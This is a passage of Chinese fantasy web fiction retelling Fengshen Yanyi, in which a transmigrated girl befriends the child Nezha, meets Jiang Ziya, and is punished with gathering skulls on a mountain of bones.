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姜桃揉着鼻尖和脑门,继续亦步亦趋地跟着。
哪吒的房间在西厢房,推开门,里面飘来木质熏香的气味,甚是好闻,极大缓解了姜桃的惶恐,她张大眼睛四处张望,对那些古香古色的家具十分好奇。
“咕咕咕——”肚子不合时宜发出叫声,姜桃连忙捂住肚子,耳朵尖腾起一片浅红。
刚才就已经饿得不行了,被惊吓一通后,就越发饥饿难耐,已经前胸贴后背了。
姜桃想起了海底捞、桃桃芝士蛋糕和乌龙奶茶,伤感地抽了抽鼻子。
正悲伤着,一个包裹被扔进她怀中。
“吃吧。”哪吒抱着手臂靠在一侧屏风上,绷着嘴角道,两条眉毛一高一低。
不知是不是错觉,她竟在他的神情中捕捉到一丝局促。
看错了吧,怎么看该局促地都是她才对。
姜桃木木地低下头,觉得包裹有点眼熟,仔细一看,竟是昨日金吒木吒带来的伴手礼。
全新的还没有打开,而不远处的一张长案上摊开着一模一样的一只包裹,里面都是好吃的,已经被吃光了大半。
她记起昨日他领了两份。
所以说,小魔头给自己的,居然是他兄长从修仙之处带来的好吃的?
姜桃简直受宠若惊,但转念一想,这该不会是某个恶作剧的一环吧,比如食物中藏着蜘蛛蟑螂之类的……
她偷偷抬起眼睛,见小魔头已经离开屏风旁,正弓着腰在自己床上翻找着什么,只是——
虽然背对着她,可她总感觉有道视线正一瞬不瞬地盯着她,盯得她头皮发紧,连忙埋下头,像小兔洗脸一样,吧唧吧唧小口吃了起来。
里面没有蜘蛛,也没有蟑螂,更没有钉子,糕饼很好吃,味道又香又浓,即便在现代也是难得的美味,姜桃一口气吃了好几块,终于不再饥肠辘辘了。
呜呜呜,好吃好吃,她感动得都快流下眼泪了。
诶,他该不会是想先把她喂饱,然后再剥皮抽筋吧,就像屠宰场杀猪一样?
她被这个想法唬得一激灵,偷偷瞄过去,却见小魔头正捧着一只紫檀木匣子,单手叉腰目光炯炯地望着她。
呃,好像没有杀气,也没有凶狠,只有些微的……ooc——
只见前一秒还一脸冷傲不驯的小魔王,此刻就像个真正的五岁孩子,欢快地蹦上床,倒出匣子里一堆玩具,兴高采烈对她招呼道:“过来,过来,这里都是最近流行的玩具,我们一起玩吧!”
啊?
姜桃目瞪口呆,大脑一时跟不上耳朵。
这还是刚刚那个高高踩着风火轮,眼神倨傲又冷漠的哪吒三太子吗?
是他ooc了,还是自己耳朵瘸了……
姜桃对此深感疑惑。
5. 不倒翁
姜桃还有点懵懵的,而哪吒已经从一堆玩具中选中了一只不倒翁,趴在床上拿手指头戳来戳去,还翘着两只小脚丫。
姜桃挠挠脸颊,忽然产生了一种既视感:刚刚吃过的食物就如同签订的契约,契约成立后,他便原形毕露,活脱脱一个缺乏玩伴的小屁孩。
虽然长得漂亮,身上也很香,但还是小屁孩,此刻正对着不倒翁施展大力金刚指,试图让它再也起不来。
“它怎么还不倒?”哪吒来了倔脾气,一阵猛戳,不倒翁上出现了一道道裂纹。
“因为它叫不倒翁啊,就是要戳不倒才行。”
姜桃的好基友家里是开幼儿园的,她常去帮忙,对哄熊孩子很有一套,下意识就换上了忽悠熊孩子的语气。
哪吒抬起眼睛,里面已经没有了阴郁与戾气,只转动着倔强与好奇。
看来他是个有点执着的孩子,有些事不和他解释清楚他就会走极端,比如此刻,可怜的不倒翁爷爷已经像干涸的土地一样布满裂痕,马上就要碎裂开来了。
“是重力。”姜桃走到床边,没敢坐下,只蹲在踏板上,下巴垫着手背,眼睛与不倒翁平视,不动声色将它从哪吒的手爪下解救出来,”你看它上面是空心,下面却是实心,这种构造就导致它在物理意义上无法倒下,当然你非要将它摧毁进而使它‘倒下’的话就另当别论了。”
哪吒诧异地看着她,显然没听懂什么叫“重力”,什么又叫“物理”。
姜桃捂住嘴巴,是不是说太多了?他该不会生气了吧?
偷偷挑起目光,却见他正默默盯着她看,黑曜石一样的眼睛仿佛毫无温度,又仿佛有烈焰焚烧。
又是那种奇异的矛盾感,割裂感。
后来姜桃发觉,大抵是因为他面相冷,气场冷,因此开心的时候也时常给人一种不大高兴的感觉,或许只有像刚才那样表露出明显的ooc般的兴奋,才能免于被误解。
可惜小魔王不屑于对任何人敞开心扉,别人不理他,他就也不理人家,宁愿自己把玩具都锁在箱子里,也不主动找人玩。
何况,陈塘关同龄的孩子都避他若妖怪,家长更是看见他就把孩子抱走,好像他会原地将他们生吞活剥了似的。
当然,这些都是姜桃后来发现的。眼下,她全副精力都在如何讨好这位小魔头上。
只要平安无事挨到殷夫人回来,再不济等到李靖回来,她就可以全身而退了。
至于被质问怎么跑到他们家里了,她早已编好了理由。在现代社会当了两年公务员,别的没长进,面不改色向上级扯谎倒是如鱼得水,虽然她一点也不喜欢这样。
她不喜欢撒谎,也不喜欢骗人,这就导致她遭遇过很多次背叛,幸好她最亲近的人,从父母到好基友,都未曾背叛过她,还把她当成小公主对待,所以她从小到大,基本上都是阳光积极的,对待生活对待人都愿意给予真诚与善意。
“我没有听明白。”哪吒开口道,眼睛往下微微一垂,看着她莹白手指中的不倒翁,“你再给我讲一遍。”
姜桃点了点头,刚要开口,忽然觉得再提“重力”他也听不懂,转头向屋里扫视一圈,脑中灯泡一亮。
“你等等哈。”她起身,颠颠颠跑到门口,将一张矮几的一侧抬起来,另一侧留在地上,“三公子,你说我若是把手松开,会怎么样?”
哪吒完全被勾起了好奇心,嗖地一跃而起,站在床上。
“当然它会落下来。”他不假思索答道,习惯性抱起了手臂。
“回答正确。”姜桃松开手,矮几被抬起的一侧沉重落地,发出响亮的声音。
姜桃又拿起旁边立着的竹竿,杵在地上,继续问道:“那这次呢,我松开手会怎样?”
哪吒皱起鼻尖,似乎以为受到了戏弄,可姜桃的眼神真诚又明亮,让他生生掐断了不好的念头,清脆答道:“会整个倒在地上呗。”
“所以说,长条而轻盈的物体更容易倒,对吧?而又矮又重的东西无论怎样抬起,都会恢复原来状态,把这两者结合起来,就变成了不倒翁。”姜桃边解释,边回到床边,拿起不倒翁,放在手心上掂了掂。
“三公子你看,不倒翁就是下面矮而沉,上面高而轻,而且下面还是圆形,就更不容易改变状态了,无论你怎么摆弄,它都会重新站立起来。”
这个原理她以前上物理课学过,只可惜记不太清了,但大体就是这个意思,重心越低越不容易倒。
不知哪吒听进去没有,她抬眼看他,见
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他正歪着脑袋,很认真地思考着,而且好像还真听懂了,若有所感地点了点下巴。
“你还挺厉害的。”他说道,嘴角往上翘了翘。小小的一个人,竟流露出了霸道总裁般的气度。
“一点小常识而已,哈哈哈。”姜桃谦虚地说,但脸上还是显出一点得意。
“那,我们一起做一个新的不倒翁吧。”哪吒摸摸下巴,忽然带点兴奋地提议道,“做个和你一般大的,然后再画成你的模样——”
啥?
“不,不行——”她把头摇成拨浪鼓,手也摇出了残影。
“为什么不行?”他不依不饶地跳下床,与她只有一尺之隔,语气复又变成了小魔王,有些咄咄逼人。
就像是某种应激反应似的。
“不要画我好不好,”姜桃委屈巴巴道,”我可不想天天被推来推去的——”
“哦,原来你是指这个啊。”哪吒嘀嘀咕咕说道,忽然抬高声音,“那就不画你了。”
“多谢,多谢。”姜桃用狗腿子的语气讪笑道,“不过府里面有能用的材料吗,一人高的不倒翁需要很大的壳子,还有很宽的底座,还要至少这么一大捧沙子,要想涂画还得有油漆——”
哪吒小朋友摸着下巴想了想,最终得出的结论是,沙子和沉重结实的底座有,用于分层的木板也有,但空壳和油漆没有。
“我去集市上买吧。”姜桃自告奋勇。
哪吒身体不易察觉地僵硬一瞬,他移开目光,别着脸犹豫了好一会儿,最后慢吞吞道:“行,那我去准备沙子和木板。”
不知是否错觉,他好像忽然变得深沉了点,眼皮掀起来瞅她两眼,似乎想说什么,但终究还是什么也没说,抱着手臂挺胸抬头朝院子里走去。
姜桃一头雾水,趁他不注意,对着屋中铜镜理了理乱糟糟的头发,重新梳了两只丸子。
最后她笨手笨脚从院墙上爬出去,跟个贼似的。
往上爬的时候,她能感受到哪吒的目光正落在她后背上,很炽热,也很锋利。
但她根本就没多想,只在心里暗暗吐起了槽:这个熊孩子,也不知道塞点钱给她,明明是给他做玩具……
一分神,下墙的时候脚没踩稳,又摔了个屁股蹲。
6. 命运
运气很好,只逛了小半圈,就买到了一只近似蛋壳形状的空壳。原本是用来罩粮食的,以芦苇杆编织而成,轻巧且结实,再适合不过了。
姜桃喜滋滋地掏出几枚铜钱,在心里悄悄记了一笔账。
“哎呀,姑娘,用不用我找人帮你搬回去。”卖东西的大爷人很好,主动提议道。
“啊,不劳烦了,我有这个。”姜桃从腰间扯下一只扁扁的毫无存在感的口袋,在半空中轻轻一抖,口袋便像滴入水中的墨汁那样开始膨胀,很快就胀成一人高。
大爷啧啧称奇,更有围观者聚拢过来,好奇地张望。
这个年代,时常有道士出没,各种新奇的法宝、异能普通百姓都或多或少见识过,虽然好奇,却并不震惊,只当她是个修道之人,态度越发恭敬起来。
人类的村庄经常会遭到妖怪侵袭,谁家孩子晚上被叼走,谁家壮汉一日未归第二天在山林里发现被吸干精血的尸体,都是常有的事,所以他们见到修行之人都很热情。
姜桃将壳子套进口袋,吹了口气,口袋就又变成笔袋大小,被她别回腰间。
这是师父给她的宝物之一,相当于哆啦A梦的空间口袋,只是功能有限,只能用于装装杂物,往里装多少都行,且互相不干扰,有了这个口袋,下山采买基本都是她去。
看似挺牛掰,实则鸡肋,既不能像黄风怪那样放出飞沙走石,也不能像忘记哪个妖怪那样把一切法宝都收入囊中,它的功能就只有装东西,还得是死物,活物不好使。
说白了,就是给了她一个购物神器,就如同给马配了个高科技马鞍。
由此看来,师父养她们,主要就是陪伴加打杂,顺带着也修行修行,并没有对她们给予任何希望。
也是,截教就主打一个宽松自由,想学就学,想不学也没人管,是她喜欢的氛围。
买完壳子,又买了几桶油漆,每个颜色都要了点,通通塞进异次元口袋,正觉大功告成之际,耳边传来一阵骚动,间或夹杂着一道熟悉的男人的声音。
“滚滚滚,看你是个道士敬你三分,还好吃好喝招待你,可你却咒我死,赶紧给我滚出去——”
中气十足的愤怒声音,乘风刮来,姜桃循声望去,看见一个粗壮的汉子和几个家丁,正往外推搡一个高个子男人,一边推一边骂骂咧咧,脸都涨成了猪肝色。
男人带着斗笠,一身白袍,那上面晕染的水墨色十分眼熟,姜桃眯起眼睛仔细看,发现他竟是那日与自己煮水喝茶的人。
也是要她两年后远离骷髅山的人。
他背上扛着一只细小的旗杆,风吹过,展开经幡,上面赫然写着“猜字算命,每人五钱”
所以说,他还是采纳了她的建议,下山给人算命去了。
“真巧啊。”在粗壮汉子砰第一声关上大门时,姜桃走过去,拍了下他的肩膀。
男人给吓了一跳,回过身见是她,立刻涨红了脸,有些尴尬地挠了挠耳朵。
“是、是啊,又见面了呢。”
“诶,你怎么在这里?”两人异口同声问道,对视一眼,又都笑了起来。
尴尬不翼而飞,姜桃买了两串糖葫芦,和他坐在不远处的篱笆墙上吃。
“我来这里,自然是因为你说的那些话呀。”姜桃咬着山楂,有点揶揄地说道,“你为何让我两年后远离骷髅山,你到底遇见了什么?”
道士目光躲闪,眼睛盯着山楂上的糖霜,支支吾吾道:“天机不可泄露,我……没法告诉你。”
来了,封神演义里的高频词语,“天机”、“气运”、“命数”,等等,等等。
“是不是我两年后在那座山上被箭射死了?”姜桃咽下山楂,转头盯住他,“被射穿喉咙而死?”
道士浑身猛地一颤,动作幅度之大,篱笆墙都晃了几晃。
“你、你怎么……”说到一半立刻改口,“天、天机不可泄露。”
“哦。”姜桃兴趣索然地翻了翻眼睛,直到自己猜对了。
两人都不再言语,埋头吃糖葫芦,直到剩下最后一粒。
“你为何会这样说?”道士犹豫着终于开口问道,拿眼角瞟她,局促又谨慎。
“我也是修道之人嘛,就许你厉害,我就不能预知点什么呀。”姜桃煞有介事地忽悠道,不过转念一想,若是这里真的是《封神演义》的世界,那么她的信息量,不比元始天尊差,从某种意义上说,也是BUG级别的。
唯一遗憾的是,她只是其中微不足道的一枚小棋子,连改变自己的命运都十分艰难。
道士沉吟着,最后慢慢“嗯”了一声,手伸进衣襟,似乎在摸什么东西。
“人可以改变命运吗?”姜桃忽然问道,“我不想死。”
道士怔了怔,手从衣襟拿出,重新放在膝盖上:“应该……不能吧。”
姜桃失落地移开眼睛,脚尖在地上碾了碾。
“我下山时,师父就算出了我的命数,我问他如何,他不肯告诉我,所以我认为每个人的命都是注定的,是无法改变的,无论你如何挣扎,最终都还是会走向同一条路。”
见她神情哀怨,他连忙补充解释道,结果越补充她脸色越灰白,令他有些不知所措,想了想,从袖口掏出三张纸符。
“我与仙姑也是有缘,鄙人不才,但还是有些功力的,这是‘避险符’,可以帮仙姑抵挡三次灾祸,姑娘不妨带在身上,两年后试试看。”
姜桃立刻雀跃起来,但见道士虽然如此说,脸上的神情却还笼着一层阴霾,就又心情低落下去。
不过还是很感激地接过了符纸。
其实当初,他完全可以不告诉她的,但他还是说了,真搞不懂这个人到底是正直呢,还是情商低呢。
“我和你说,下次你要算命,可别什么都实话实说,还想不想赚钱了。”姜桃振奋起心情,反倒关怀起他来。
“这怎么行,关于命运的大事,如何能撒谎!”道士挺直腰杆,一脸执拗地说。
他的神情,让她蓦地想起了哪吒,她抬眼看了看天色,快到中午了,自己竟不知不觉出来一个多时辰了。
“那你还是别算命了,除妖更适合你。”姜桃提议道,“我听说临海那一片经常有孩子被偷,你不妨去看看,万一抓到妖怪,赏金够你用大半年了。”
道士很认真地思考了一番,然后点了点头。
“好啦,不和你说了,我要回去了。对了,难得认识一场,你叫什么名字呀?”
见她跳下
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篱笆,道士也连忙起身,拱手认真回道:“在下昆仑山姜子牙。”
啥?
姜桃差点崴到脚,他、他居然就是姜子牙?
自己这枚微不足道的小棋子,随便在河边煮一壶茶,就碰见了男主角,莫非她拿的不是炮灰剧本?
“幸、幸会,姜兄。”她差点咬到舌头,也行了个礼。
忽然,她意识到自己与姜子牙初次相见是在骷髅山,那么他在那个时候就应该知道了她是石矶的徒弟,四舍五入等于知道她是截教之人,却还是对她如实相告,可见他确实正直,也确实有点一根筋。
以前老爸总神秘兮兮地说,他们是姜太公的后人,导致姜桃一小就以为自己有超能力,直到长大些,才知道她不仅没超能力,还挺短寿,姜太公什么的,多半是老爸为了给她打气胡诌的。
可她微微眯缝起眼睛,越看越觉得姜子牙眼睛和鼻子跟自己老爸超像。
怪不得一开始就有种亲切感呢,不过也可能是潜意识造成的错觉。她就是一炮灰,没必要往自己身上贴金。
她现在唯一能做的,就是好好巴结巴结小哪吒,让他一辈子都不要拉开那张该死的弓。
与姜子牙分开后,她沿着集市往回走,看见一个摊位上摆放着很多颜色漂亮的沙包(口袋),不禁想起了小学时大家围在一起踢口袋、丢口袋的活动,心头一动,买了一只红颜色的揣在衣兜里。
她从老槐树上跳进李府,府里安静得令人不安,她蹑手蹑脚摸进内院,看见哪吒正坐在房间门槛上,抱着胳膊盯着地上某处发呆。
阳光在他身上蜿蜒流动,明明那样明媚热烈,可却给人一种冰冷无情的感觉。
姜桃的影子一点点漫过去,他猛地一抬头,神色似乎略有惊讶,吓得她差点又摔个屁蹲。
他一跃而起,几步跳到她面前。
“你……你怎么去了这么久?”他嗓音莫名有点发尖。
“遇到一个熟人,稍稍聊了一会儿。”姜桃实诚道。
“你……还有其他朋友?”他眼神陡然尖利,声音却透着淡淡的失落。
“不是朋友,是打过两次照面的叔叔。”姜桃此刻身体年纪十六七,叫姜子牙叔叔也不算冒犯。
“哦。”小魔头拿脚丫踢了踢地上的石子,松了口气的样子。
“我的都买来了,你的呢,准备好了吗?”姜桃不明所以,取下口袋,把东西一一掏出来摆在地上。
哪吒慢慢吞吞、支支吾吾道:“快、快了。”
说罢,撒开脚丫往库房里跑,半天都没出来。
姜桃等得着急,大起胆子过去查看,却见他正一勺勺往袋子里装沙子。
甚至连木板和底座都没准备,敢情他一直都在偷懒啊——
她有点气恼,然一想到目下处境,又气恼不起来了,走过去和他一起铲沙子。
奇怪的是,哪吒一直都没抬头看她,奇奇怪怪的,也不知是搭错了哪根筋。
只是他脸上,有种坚冰慢慢消融的微妙感觉,雪白的侧脸和初见挺拔轮廓的鼻梁切割着库房里的昏暗,让一切都黯然失色。
他长得可真好看。
姜桃偷偷瞧了几眼,眼神完全是看幼儿园大班小朋友式的。
7. 红绳(后面又加了点剧情)
接下来,他们一起做了不倒翁。
速度意外的快,因为哪吒不仅力气大,还忒聪明,一点就透。他们分工明确,不到半个时辰,一只摇摇晃晃的一人高不倒翁就完成了。
哪吒兴奋地推了几把,无论使多大劲,不倒翁最后都能顽强地弹起来,颤颤巍巍地原地打晃,滑稽极了。
两人身上都尘土噗噗,姜桃拎来油漆,问他画什么图案。
“画我爹爹。”哪吒毫不犹豫道,显然早就想好了,脸上还浮现出一丝报复似的幸灾乐祸。
“这、这不太好吧。”姜桃觉得有点过分了,好歹也是亲爹,每天推来搡去的着实不太孝顺。
“不,就画他!”哪吒不依不饶起来,微微狭长的眼睛忽然窄了窄,瞟向姜桃道,“要不就画你,你选一个吧。”
“那、那还是画你爹爹吧。”姜桃立刻妥协,恭敬奉上油漆若干桶。
看来在这个时候,父子关系就已经很堪忧了,也难怪以后能水火不相容到那种地步。
说实话,他也挺可怜的,自己虽然命运多舛,可父母却一直非常爱她,家庭关系和睦,可哪吒却——
李靖就真的不爱他吗?姜桃忽然升起一丝疑惑,回想起第一日趴在墙头窥视之时,看见的景象。
李靖在提到哪吒的时候是很生气,可管家替哪吒说话时,他又很快妥协了,肢体动作透着不忍,如果真的一点也不喜欢这个孩子,有必要如此矛盾吗?
“呐,哪吒,你——是不是不能离开这个院子呀?”姜桃小心翼翼问了一句。
哪吒正在给不倒翁画眼睛,闻言没有停下,只简单回了声“嗯”,既没有警觉,也没有掩饰。
“为什么呀?”姜桃心弦稍稍松弛了下来,大胆继续问道。
“我爹怕我惹事,给他丢脸。”哪吒朝她乜斜了一眼,并不怎么在意似的说道,“我是无所谓,反正出去了,也没人跟我玩,倒不如在家自在。”
话虽这么说,他手上动作明显慢了下来,李靖的一只眼睛成了斜眼。
姜桃蹲下身给油漆调色:“那你这么厉害,要是想出去的话,还是能出去的吧?”
哪吒握着毛笔的手垂下来,悬在身侧,墨黑的眼珠转向她,身子却没动,这就让他的表情看上去有些摄人,甚至还有些杀气腾腾。
姜桃心头猛地一跳,觉得自己有点太自以为是了,问了不该问的东西。
哪吒只是长着孩子的身体,心智一半是孩子的,一半又是凛冽深邃的,让人难以捉摸,所以他做出什么都不会令姜桃感到意外。
比如一言不合,就拿脖子上的乾坤圈敲死她……
她越想越偏激,越偏激就越胆战心惊,身体不自觉往后缩了缩。
“那个道士给了他一个结界,只要结界张开,我就无法离开这座宅院。”他转回目光,盯着不倒翁上画得歪斜的眼睛,突然脖子一歪,像是自言自语道,“果然还是应该画你。”
说罢目光又一斜,却见小道姑抱着脑袋蹲在油漆桶旁边,可怜兮兮地直摇头。
“不要画我……”姜桃像只小猫一样喵喵抗拒着,两只厚实的小丸子顶在头顶,就像是两只猫耳朵。
“逗你玩呢,真是的,一点都不禁逗。”哪吒撇撇嘴,看样子方才还真不是生气,而是单纯地觉得没画好。
这家伙,仿佛有种能将任何话题蒙上杀气的能力,姜桃拍拍自己的小心脏,觉得以后跟他相处,一定要心大点,不然容易猝死。
既然这样,她又肥起胆子,不动声色追问道:“你那么厉害,能把你牵制住,那道士还真了不得,不知道能不能收我为徒弟?”
哪吒无视掉那只画歪的眼睛,开始画另一只:“我不认识他,但娘亲说,在我出生的时候那道士就来看过我,还在我五岁生日的时候给了我一对宝贝。哼,我才不稀罕他的宝贝呢,他和李靖蛇鼠一窝,同样可恶。”
看来他还真是不喜欢李靖啊。
至于那个道士,是太乙真人无疑了,而那对宝贝,自然就是风火轮和火尖枪。
只是在小说的世界观里,这两样东西应该是哪吒肉身被毁后才送给他的,具体时间姜桃也记不清了,但肯定不是在这个时候。
那也就表明,这里并非严格遵照小说剧情,既然这样的话——
她陡然雀跃,可马上又想到了姜子牙的预言,心情复又低落下去。
她就真的难逃一死了吗?
“那你只要乖乖听话,应该就能出去了。”姜桃毫无意识地呢喃道。
然而这话一出,哪吒就炸毛了,他凶狠地一扭头:“我才不,我爹总是不分青红皂白冤枉我,我懒得和他争辩,更不会屈服于他。”
“我不是这个意思——”姜桃连忙解释,却又不知能如何安抚他,嘴巴张了张,又慢慢闭回去。
其实他们父子间的问题,就是出在了缺乏沟通上。
“对不起,我不该提这事。”她睫毛垂了垂,片刻后又积极灿烂地抬起眼睛,“我们一起画吧,我对画画还挺在行的。”
哪吒脾气来的快,散的更快,而且刚刚也不是因她而生气,小脸傲娇地绷起来,手却把毛笔递给了她。
姜桃于是挥挥洒洒,按照记忆中的形象,画了个圆滚滚的李靖出来。
“那只眼睛歪掉了怎么办?”哪吒抱着手臂道。
“这个不难。”姜桃面上温柔软糯,可手腕一动,直接在李靖两只眼睛上,各画了一圈浓密纤长的大睫毛。
“哈哈哈哈——”哪吒笑得前仰后合,看样子是很满意了。
姜桃在心里默默对李靖道了声歉。
他们收拾好杂物,就在院子里玩起了不倒翁,但没过多久,殷夫人就回来了。
他们目前在的院子是最西侧的内院,也是哪吒房间所在的院子,平日里没人主动进来触霉头,但殷夫人不一样,她可以自由出入任何地方,因此姜桃急慌慌地跳起来,打算告辞。
“那……你明天还来吗?”哪吒没有拦她,还莫名地扭捏起来,手指使劲戳着不倒翁问道。
姜桃算了算,应该没问题,但也就还能放肆五六天,等师父出关,她就只能心无杂念地当宅女了。
“你要是不烦我,我就来。”姜桃笑笑,乌润的眼睛弯成两道月牙。
“一言为定!”哪吒不知何时闪现到她眼前,踩在风火轮上,视线与她平齐,并郑重其事地伸出小手指,要跟她拉钩。
“一言为定。”姜桃伸出小指,和他拉了勾。
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他的手指竟很烫,不像外表那般冰冷如刀。
“哦,对了,这个给你。”姜桃差点忘了,从衣服口袋掏出那只四四方方的沙袋,往空中抛了抛,然后勾起脚腕踢了几下,“我们小时候经常玩这个,很好玩也很方便,一个人也能玩,两个人也可以,送给你当礼物吧。”
哪吒看着她踢沙袋,眼睛刹那间闪亮了一下。
他当然知道这是什么,他经常看见其他人家的小孩围成一圈,互相传着踢,然而一看见他,他们便如见了鬼似的四散而逃,沙袋就扔在原地,仿佛被海浪遗弃在沙滩的贝壳。
他曾好奇地走过去,捡起那只沙袋左看右看,还用指甲把它划开,可无论怎么看,他都看不出它有什么有趣之处,值得那些人玩得如此神采飞扬、笑声不断。
可是现在,看着她在午后阳光下轻盈地踢着沙袋,他突然什么都想通了。
是陪伴。
心甘情愿,不含任何目的陪伴。
正想着,沙袋从对面飞了过来,他抬脚接住,没有像她那样自己踢,而是学着其他孩子将沙袋又踢给她。
虽然身高差巨大,但他力气可不小,就这还是刻意控制了力道,可姜桃还是被冲得向后退了好几步。
这要是火力全开,还不得给她捶墙上去啊。
姜桃擦着额头上的汗,嘴角抽了几抽,有点后悔送他这份礼物了。
院外传来殷夫人的说话声,姜桃与他提了几个来回,就不得不告辞了。
“等一下,我也有礼物送你。”哪吒急吼吼地往屋里跑去,临近门前还威胁地喊道,“先不许走!”
姜桃讷讷点头,目送他消失在阴影中,大约过了几分钟,他就跑了出来,手里攥着一根红绳,大大咧咧递到她面前。
“这是回礼。”
仔细看,不是红绳,而是用红色绸子编成的手绳,手法粗糙了点仓促了点,但麻花的形状还挺好看的。
姜桃悄悄瞅了他一眼,却见他满眼都是掩不住的得意,小屁孩感十足。
她忍不住笑了,接过红绳,正要往衣袋里塞,手腕却被他忽然扯住。
“带上,带上。”他既像命令,又像撒娇般嚷嚷道。
这孩子,知道送女孩红绳是什么意思吗?
姜桃无奈又有点好笑地扯扯唇角,顺从地将它套进左手手腕。别说,还挺衬她肤色,而且触感清亮细腻,仿佛活物一般。
“明天我等你!”哪吒小朋友认认真真地又说了一遍,眼睛使劲盯她看,目光热烈,但深处还带着点不确信,急切需要她反馈。
“好,明天见,三公子。”
“我叫哪吒。”他蹦到一块石头上,对着笨手笨脚往院墙上爬的姜桃嚷道,“以后不许再叫我三公子了!”
“哦,噢。”姜桃在墙上趔趄了一下,好不容易撑着爬上墙头,对着哪吒挥了挥手。
“知道了,哪吒。”
然后嗖地跳下去,骑着小毛驴飞回骷髅山。
然而回到骷髅山,师姐幸灾乐祸告诉她,师父一早就出关了,到处寻她都没寻到,这会儿正生着气呢。
她心中一惊,但首先想到的,却是明天无法履行约定了。
她要让他失望了。
8. 惩罚
石矶娘娘与姜桃的想象完全不同。
她个子很高,容貌端庄秀丽,除了面色有些灰白外,看上去与普通人类没什么区别,还自带一股清冷气质,所过之处浮动着幽幽暗香。
虽然妖气极其稀薄,距离修成正果大约只差捅破一张窗户纸,可姜桃还是能一眼看出她的妖怪身份,就如同她能分辨出沿途所遇到的各色人形生物,到底是人还是妖。
大约修仙之人都有这种本领吧,她想,毕竟连自己这种不起眼的小童子能做到,像姜子牙那种大触就更不在话下了。
不过,姜子牙好像也不是很厉害,真正厉害的是他背后的阐教大佬们,和那些bug级别的法宝。
哎,自己要是穿越到阐教就好了,抱好大腿估计能苟上一辈子,毕竟阐教是出了名的护犊子。
罢了,能再重活一次已经是额外恩典了,哪还能挑东挑西的。
她深吸一口气,又吸了一口,然后抱着脑袋钻进往下滴答粘液的阴森洞穴。
因为擅离职守,石矶娘娘拂尘一挥,罚她去旁边积骨山挑拣骸骨,带回来装饰山洞。
她辛辛苦苦装饰的那些花,功劳都被师姐抢走了。鉴于师姐没向石矶娘娘告发她前些天日日都往外溜,姜桃决定吃亏就吃亏吧。
师姐挺不地道,但也没那么不地道。
谁让自己倒霉呢。
积骨山顾名思义,是座堆满骸骨的山,走路都要小心翼翼,提心吊胆,因为你不知道你脚下被风沙浅埋覆盖着的,是动物骨头,还是妖怪骨头,抑或者,人类的骨头。
骷髅山中有大量妖怪修行,石矶娘娘虽然宽容地接纳它们,却坚决不许它们在山上杀生,因此很多妖怪都跑到旁边这座积骨山,猎杀动物,有时也猎杀误入山中的可怜人类。石矶娘娘对此心知肚明,却睁一只眼闭一只眼。
有种说法,妖怪想要修出人形,大量吃人是最快的途径,换言之,大量吃人可以迅速增加妖力,所以这原本人迹罕至的山中,人类骸骨的数量远多于飞禽走兽。
显然这其中有专门诱拐人类的产业链,有人将他们以各种方式带过来,然后让妖怪们饱餐一顿。
一想到平日里与自己擦身而过的那些妖怪,其中就有大肆撕咬人类的存在,她就忍不住起一身鸡皮疙瘩。
亏得她之前还觉得有些小妖只变出半个人身,顶着颗毛茸茸的动物脑袋还挺可爱的……
师姐该不会也吃过人吧?师父呢?
她打了个哆嗦,抱着脑袋继续在洞穴中行进。
以前在白骨洞里见到尸骨,姜桃还能自我调解,可如今赤裸裸地面对这么多死人,甚至还有半死不活的人,她简直头晕目眩,好几次想要呕吐。
若都是些白骨也就罢了,偏偏好多都粘连着半腐烂的血肉,褴褛的带着爪痕的衣裳,还有身侧土地上、石头上那些带血的痛苦抓痕。
她不知道原主有没有被惩罚来过这里,也不知道她面对此情此景会是什么反应,反正来自现代社会的姜桃是真的难以承受,有那么几个瞬间,她都生出了跳崖的念头。
在几具死得实在惨烈的尸体面前,她双手合十行了一礼,把他们尚未闭合的眼睛轻轻阖上。
石矶娘娘要她挑拣的,不是人骨,而是带角的动物头骨,姜桃找了好半天也没找到,便挨个往山洞里钻,越来越觉得娘娘可能根本不想要什么带角骨头,她只是想好好惩罚她。
“今日找不到,明日继续,碧云,什么时候找齐了十二颗,什么时候你再回来。”娘娘灰紫色的眼睛淡漠地垂着,以云淡风轻的口吻说道。
就好像只是命令她下山捡十二块石头上来似的。
她几乎寻遍了山脚下的洞穴,只捡到一颗山羊的头骨,她抬手擦了擦额上猩粘的冷汗,将头骨搁进口袋。
总算看见一点曙光了,若是每天都能寻到一颗,半个月也足够了。
她稍稍松弛下来,大口地喘了一口气,结果吸了满口腔血腥味,恶心得她伏在地上一阵呕吐。
实在太狼狈了,她抱着袋子缩靠在一颗大石头旁,低声啜泣起来。
她从小就害怕任何阴暗、潮湿的东西,总是对光明有很深的渴望,这大约是很早就她知道自己命不久矣的缘故吧,本能就想抓住那些金灿灿的温暖的东西。
而如今,她不得不在这些出离阴寒恐怖的地方挨上十天半月,而这还得是在顺利的情况下。
她抹了抹眼睛,撑着墙壁走出洞穴,寻到一块干燥的阳光能照到的地方缓缓坐下来,蜷起身体小睡了一会儿。
只打了个盹,就被远处传来的松涛般的虎啸声惊醒了。她浑身一激灵,抻长脖子四处张望。
天色已渐黑,树枝上几只乌鸦站成一排,盯着她看,红色眼珠折射着绚丽的晚霞,让它们看上去没那么瘆人了。
姜桃惊魂未定站起来,走到前方小河边,洗了洗手,掏出随身携带的干粮,大口大口吃起来。
遥想前些时日,还能惬意地煮茶聊天,可现今却连能安稳睡觉的地方都寻不到,她这些夜晚可怎么捱呀?
不行,不能就此颓废,她一跃而起,用能记住的法术生了一团火,还用树枝给自己搭了个简易帐篷,篷布用芭蕉叶拼接而成,芭蕉叶是她一路走来顺手摘的,为的就是这个目的。
她不断给自己打气,可对于无边黑暗的恐惧,以及缺乏安全感,令她根本就无法从心底坚强起来,每有风吹草动,心脏就跟着一阵狂跳,直到很久才平复下来,但很快又被新的惊吓刺激,越发跳个不停。
最后还是那则预言,稍稍安抚了她。
她可是要死在哪吒箭下的,怎么能在这种地方被不知名的什么生物给吃掉呢。
虽然有些黑色幽默,但确实比任何打气的话语都管用。她裹紧衣服,头一歪慢慢睡了过去。
她做了一个梦。
梦里她还是现代人,二十出头的样子,穿着粉嘟嘟带绒球的卫衣,坐在大学阶梯教室里,认认真真将书本、笔袋摆在桌上,一副三好学生的端正姿态。
正处于课间,四周嘈杂声此起彼伏,她翻开课本,乖巧地复习将要讲的内容。忽然,耳边嘈杂戛然而止,空气微微灼热干燥起来。
她差异抬头,却见阶梯教室的右侧大门被推开,一个身材高挑、鸦发乌黑的少年大剌剌站在那里,抻长脖子在人群中张望。
